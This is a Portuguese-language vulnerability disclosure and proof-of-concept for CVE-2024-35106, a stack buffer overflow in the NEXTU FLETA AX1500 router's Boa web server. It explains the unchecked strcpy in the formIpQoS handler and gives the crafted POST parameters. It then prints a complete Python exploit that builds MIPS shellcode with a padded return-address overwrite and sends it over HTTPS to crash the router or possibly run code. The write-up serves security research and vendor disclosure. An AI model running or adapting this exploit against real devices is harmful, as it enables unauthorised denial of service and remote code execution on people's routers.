
Exploração de prova de conceito para CVE-2024-35106, um estouro de buffer de pilha no roteador Wi-Fi 6 NEXTU FLETA AX1500. Demonstra negação de serviço e potencial execução remota de código via solicitação POST elaborada ao manipulador IP QoS do servidor web Boa.
Este documento descreve como o exploit foi executado no roteador EZNET FLETA WiFi por meio da vulnerabilidade CVE-2024-35106.
[ID do CVE] CVE-2024-35106
[Fornecedor do produto] NEXTU
[Produto] FLATA AX1500 Wifi6 Router
[Versão] 1.0.3
[Tipo de vulnerabilidade] Estouro de buffer
O roteador opera em arquitetura MIPS baseada em um chipset Realtek e little-endian.
A versão do firmware do roteador é v1.0.3.
Este roteador usa o servidor web embarcado Boa, cuja última versão foi lançada em 2005. No entanto, este roteador utiliza o servidor web Boa para o serviço de página web administrativa que controla o firmware do roteador.
As condições necessárias para acionar a vulnerabilidade são as seguintes:
Ocorre um estouro de buffer na pilha devido à falta de verificação do comprimento em bytes do nome da regra de QoS de IP ao definir QoS para um IP interno na página de gerenciamento web administrativa do roteador.
Quando os parâmetros da solicitação de configuração de QoS de IP são passados para a função manipuladora formIpQoS do Boa, o manipulador extrai o comprimento em bytes do parâmetro "entry_name" e o copia para a variável acStack_1c0 usando a função strcpy().

Nessa função, a função strcpy é usada para copiar o buffer sem verificar o tamanho do buffer.

Como a variável acStack_1c0, que armazena o binário do parâmetro entry_name copiado, é fixa em 16 bytes, o uso da função strcpy() — que não limita o tamanho dos dados copiados — resultará em um estouro de buffer.


A solicitação POST e os parâmetros do vetor de ataque são os seguintes.
POST /boafrm/formIpQoS
BODY
enabled=ON&automaticUplinkSpeed=ON&automaticDownlinkSpeed=ON&addressType=0&ipversion=0&protocol=0&ipStart=192.168.1.5&ipEnd=192.168.1.5&localPortStart=1234&localPortEnd=1234&rmt_ipStart=&rmt_ipEnd=&rmt_portStart=&rmt_portEnd=&l7_protocol=Disable&mode=1&bandwidth=200&bandwidth_downlink=200&remark_dscp=&save_apply=%EC%A0%80%EC%9E%A5+%ED%9B%84+%EC%A0%81%EC%9A%A9&addQosFlag=1&lan_mask=255.255.255.0&submit-url=%2Fip_qos.htm&entry_name=[ADD ARBITRARY CODE AREA]
Um invasor prepara um binário contendo duas coisas, código binário arbitrário e endereço arbitrário, e o insere no parâmetro entry_name da solicitação POST.
Assim, o endereço RET, que está na memória de endereço da pilha do manipulador formIpQos, é sobrescrito com um endereço arbitrário devido a um estouro de pilha.
(0x7f8548cc é o endereço RET da pilha do manipulador formIpQoS)
No entanto, como a função manipuladora deve concluir sua execução normalmente, 10 conjuntos de regras de QoS de IP devem ser salvos antecipadamente.

from pwn import *
from hackebds import *
def shutdown_shell_code():
context.update(arch='mips', os='linux', bits=32, endian='little')
cmd = "/bin/sh"
args = ["autoreboot"]
asmcode = shellcraft.mips.linux.execve(cmd, args, 0) + shellcraft.mips.linux.exit()
shellcode = asm(asmcode)
return shellcode
power_off_code = shutdown_shell_code()
gap_code = (b'A') * 0x138
# This is the area that overwrites the RET region. You can place the address to which you want to redirect the execution flow.
# For example I fixed address as 0x7f854710
RET_address = (b'\x10\x47\x85\x7f')
stack_gap = (b'C') * 0x40
print("power_off_code_length")
print(len(power_off_code))
final_code = power_off_code + gap_code + RET_address + stack_gap
import socket
import ssl
# Server Address and Port
HOST = '192.168.1.254'
PORT = 443
# Create an SSL socket for HTTPS connection
context = ssl.create_default_context()
context.set_ciphers('HIGH:!DH:!aNULL')
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
with socket.create_connection((HOST, PORT)) as sock:
with context.wrap_socket(sock, server_hostname=HOST) as ssock:
# Prepare the shellcode as bytes (e.g., b'\x00\x01\x02'; replace with appropriate values for actual use)
# parameter for evade verification
send_byte = b"enabled=ON&automaticUplinkSpeed=ON&automaticDownlinkSpeed=ON&addressType=0&ipversion=0&protocol=0&ipStart=192.168.1.5&ipEnd=192.168.1.5&localPortStart=1234&localPortEnd=1234&rmt_ipStart=&rmt_ipEnd=&rmt_portStart=&rmt_portEnd=&l7_protocol=Disable&mode=1&bandwidth=200&bandwidth_downlink=200&remark_dscp=&save_apply=%EC%A0%80%EC%9E%A5+%ED%9B%84+%EC%A0%81%EC%9A%A9&addQosFlag=1&lan_mask=255.255.255.0&submit-url=%2Fip_qos.htm&entry_name=" + final_code
# POST request headers
headers = b"POST /boafrm/formIpQoS HTTP/1.1\r\n" \
b"Host: " + HOST.encode('utf-8') + b"\r\n" \
b"Content-Type: application/octet-stream\r\n" \
b"Content-Length: " + str(len(send_byte)).encode(
'utf-8') + b"\r\nConnection: close\r\n\r\n"
# Send request (combine headers and body)
ssock.send(headers + send_byte)
# Receive response
response = b""
while True:
data = ssock.recv(1024)
if not data:
break
response += data
#Print response
print(response.decode('utf-8'))
Note que, ao executar esta POC para a vulnerabilidade, certamente ocorrerá um DOS. No entanto, a execução remota arbitrária de código pode não ocorrer.
Esta vulnerabilidade pode ser explorada para ataques de DOS e potenciais ataques de RCE.
2024-05-16: Número CVE atribuído - CVE-2024-35106
2024-05-16: Vulnerabilidades reportadas aos fabricantes
2024-06-05: Resposta dos fabricantes sobre as vulnerabilidades
Ku In Hoe
Professor Assistente Seonghoon Jeong (Sookmyung Women’s University)